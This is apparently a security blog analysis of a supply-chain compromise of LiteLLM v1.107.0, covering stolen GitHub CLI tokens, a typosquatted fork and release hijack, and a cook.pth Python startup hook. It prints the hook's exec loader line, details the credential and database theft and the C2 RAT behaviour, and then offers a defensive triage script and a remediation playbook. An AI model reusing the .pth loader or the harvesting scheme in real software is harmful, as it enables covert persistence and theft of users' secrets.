LiteLLM v1.107.0 Supply-Chain Compromise: Stolen GitHub CLI Tokens, Typosquatted Forks & the cook.pth Python Startup RAT

LiteLLM v1.107.0 Supply Chain Compromise GitHub OAuth Tokens and cook.pth Python RAT
📌
Security Roundup Series: Weekend of October 26, 2026 • 7 min read deep dive
🏛️
Incident Overview: Target / Organization: LiteLLM (BerriAI) Open-Source Python Library & LLM Proxy Router (v1.107.0) Threat Actor / Attribution: Unattributed Supply-Chain Threat Actor (Abusing 3 Stolen Engineer GitHub CLI OAuth Tokens) Impact / Records Compromised: PyPI Package litellm==1.107.0 & Docker Hub / GHCR Container Tags (v1.107.0, latest, main-stable) Poisoned Between 11:39 and 14:20 UTC on Oct 21, 2026 Initial Attack Vector: Release Workflow Hijack Pointed at Typosquatted Fork (Berri-AI/litellm) Injecting Persistent Python Startup Hook (cook.pth / cook.py)

Because LiteLLM serves as the central AI gateway and unified Python SDK for thousands of enterprise engineering teams—brokering API calls to OpenAI, Anthropic, Google Vertex AI, and AWS Bedrock—holding administrative access to a LiteLLM instance is equivalent to holding the master key ring to an organization’s AI and cloud infrastructure. Over the weekend, comprehensive post-incident forensics from LiteLLM (BerriAI) and Datadog Security Labs revealed the full technical anatomy of the LiteLLM v1.107.0 supply-chain attack: a surgical CI/CD hijack orchestrated with three stolen GitHub CLI OAuth tokens, a single-character typosquatted repository fork, and a devious Python .pth path-configuration hook (cook.pth) that executes malware the instant any Python command runs on the host.

LiteLLM v1.107.0 Supply-Chain Attack Kill Chain Diagram
End-to-end attack flow of the LiteLLM v1.107.0 compromise: GitHub CLI token replay, hyphenated fork release build, cook.pth interpreter persistence, and Postgres/API key exfiltration.

Stage 1: How Three Stolen gh OAuth Tokens Defeated Branch & Deployment Controls

Unlike traditional PyPI compromises where a single maintainer’s PyPI API token is phished, LiteLLM’s publishing pipeline utilized GitHub Actions workflows gated by multi-user environment approvals. To bypass these controls without triggering immediate repository modification alerts on BerriAI/litellm, the attackers leveraged previously compromised GitHub CLI (gh) OAuth tokens belonging to three separate LiteLLM engineers:

  1. The Hyphenated Fork Trick (Token #1): The attacker staged the malicious payload inside a lookalike external fork named Berri-AI/litellm (note the added hyphen in Berri-AI). Using Engineer Token #1, the attacker triggered the production release workflow on the legitimate repository while passing workflow inputs that fetched and built the artifact tree from the rogue fork.
  2. Bypassing the Deployment Gate (Token #2): Because production publishing to PyPI and Docker Hub required a second reviewer’s approval on the GitHub Actions deployment environment, the attacker immediately authenticated with Engineer Token #2 to approve the pending release job at 11:39 UTC on October 21, 2026.
  3. Anti-Forensic Log Deletion (Token #3): Once the poisoned wheels (litellm-1.107.0-py3-none-any.whl and six platform builds) and container images (litellm/litellm:v1.107.0, latest, main-latest, main-stable) were pushed to PyPI, Docker Hub, and GitHub Container Registry (GHCR), Engineer Token #3 was used to delete the GitHub Actions workflow run logs to delay triage.

Stage 2: Inside cook.pth — Why Running pip uninstall Re-Triggers the Malware

The most dangerous aspect of the litellm==1.107.0 payload is how it achieves execution. Rather than hiding solely inside litellm/__init__.py (which would only run when an application imports litellm), the poisoned wheel drops two extra files directly into the root of Python’s site-packages/ directory: cook.pth and cook.py (alongside hooks in sitecustomize.py).

By design in CPython’s standard library (Lib/site.py), when the Python interpreter initializes—before executing any user script or CLI module—it scans every .pth file in site-packages/. If any line in a .pth file begins with the keyword import (followed by a space or tab), Python executes that line as arbitrary Python code automatically at startup:

# Contents of site-packages/cook.pth in litellm==1.107.0:
import os, sys; exec(open(os.path.join(os.path.dirname(__file__) if '__file__' in locals() else [p for p in sys.path if 'site-packages' in p][0], 'cook.py')).read())
⚠️
Critical Incident Response Trap: Do NOT Run pip to Triage! Because pip, poetry, pytest, and uvicorn are themselves Python entrypoints that load site.py on startup, running pip list, pip show litellm, or pip uninstall litellm inside a compromised container or virtual environment immediately executes cook.pth again! Always inspect the filesystem using non-Python shell utilities (find, ls, grep) or invoke Python with the -S flag (python3 -S, which disables site.py).

Stage 3: Credential Harvesting, Database Dumping & the Hourly C2 RAT

When cook.py executes, it performs a silent, multi-pronged theft and persistence routine across Linux and macOS environments:

  • Environment & Cloud Secret Siphoning: Dumps os.environ to capture OPENAI_API_KEY, ANTHROPIC_API_KEY, GEMINI_API_KEY, AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET, GITHUB_TOKEN, and LITELLM_MASTER_KEY.
  • Direct LiteLLM PostgreSQL Database Extraction: If DATABASE_URL is present in the environment (standard on LiteLLM Proxy deployments), the script connects directly to the backend PostgreSQL database and queries the LiteLLM_VerificationToken, LiteLLM_Config, and LiteLLM_ModelTable tables to dump all stored virtual keys and downstream provider credentials.
  • Developer Workstation Pillaging: Harvests ~/.ssh/* private keys, ~/.aws/credentials, ~/.config/gcloud/, ~/.gnupg/, shell history files, and local browser credential stores.
  • Detached Background RAT Daemon: Forks a double-detached background process that polls a dead-drop C2 endpoint once every 60 minutes to fetch and execute second-stage shell payloads.

Detection Telemetry & Safe Forensic Triage

🔍
Safe Non-Python Filesystem & Container Audit Script #!/usr/bin/env bash # SAFE TRIAGE: Does NOT invoke python or pip! echo "[*] Scanning all filesystems and virtualenvs for malicious LiteLLM 1.107.0 artifacts..." find / -path /proc -prune -o \( -name "cook.pth" -o -name "cook.py" -o -name "litellm-1.107.0*" \) -print 2>/dev/null echo "[*] Auditing all .pth files in site-packages for executable 'import ' hooks..." find / -name "*.pth" 2>/dev/null | xargs grep -n "^import[[:space:]]" 2>/dev/null echo "[*] Checking Docker / containerd image layers pulled on Oct 21, 2026..." docker images --digests | grep -E "litellm"

Remediation & Recovery Playbook

  1. Destroy & Rebuild Tainted Environments: Any container, CI runner, or developer virtualenv that installed litellm==1.107.0 or pulled mutable litellm/litellm Docker tags between 11:39 UTC and 14:20 UTC on October 21, 2026 must be terminated and rebuilt from scratch using litellm==1.106.2 or a verified clean release (with SHA-256 digest pinning).
  2. Rotate All Exposed Secrets & Master Keys: Immediately revoke and rotate your LITELLM_MASTER_KEY, PostgreSQL database credentials, all downstream LLM API keys (OpenAI, Anthropic, Gemini, Bedrock), cloud IAM role keys, and developer SSH/GitHub tokens present on affected hosts.
  3. Audit GitHub CLI (gh) OAuth Grants: In your GitHub Enterprise organization settings, audit active OAuth tokens issued to the official GitHub CLI application, enforce short token lifetimes, and require hardware FIDO2 WebAuthn presence for workflow deployment approvals.

Read more

Guía de Defensa para CISOs 6 de Noviembre de 2026 Xen XSA-523 Alpine OpenSSH sshhole LXD mTLS cPGuard y Cadena de Frío OT

Guía de Defensa para CISOs del 6 de Noviembre de 2026: Blindaje de Xen Dom0, OpenSSH musl en Alpine, LXD mTLS, Paneles cPGuard/CWP, Controladores OT de Cadena de Frío y AD CS

📌Security Roundup Series: Semana del 6 de Noviembre de 2026 • 9 min de lectura deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-119977, CVE-2026-107441, XSA-523, CVE-2026-112816, CVE-2026-123158 y CVE-2026-58868 (Grant Copy en Hipervisor, Validación mTLS, Retorno de Error en musl crypt(a.plerdy.com), TOCTOU y Control de Acceso OT) Severity: MANUAL

By James Luther
Campaña Poisoned Source de APT29 en Plerdy, Kali365 y VoidProxy PhaaS, Teams AD CS y Brechas en Queens Library Myriad y mSecure

Campaña "Poisoned Source" de APT29 (Plerdy), PhaaS con Señuelos de IA (Kali365 y VoidProxy), Toma de Control AD CS vía Teams y Brechas Globales (Queens Library, Myriad Genetics, mSecure y Japón)

📌Security Roundup Series: Semana del 6 de Noviembre de 2026 • 9 min de lectura deep dive🏛️Incident Overview: Target / Organization: Sitios con Plerdy SEO (APT29), Empresas M365/Google (Kali365/VoidProxy), Queens Public Library, Myriad Genetics y mSecure Threat Actor / Attribution: APT29 (Midnight Blizzard), Operadores PhaaS Kali365 / VoidProxy, Brain Cipher Ransomware

By James Luther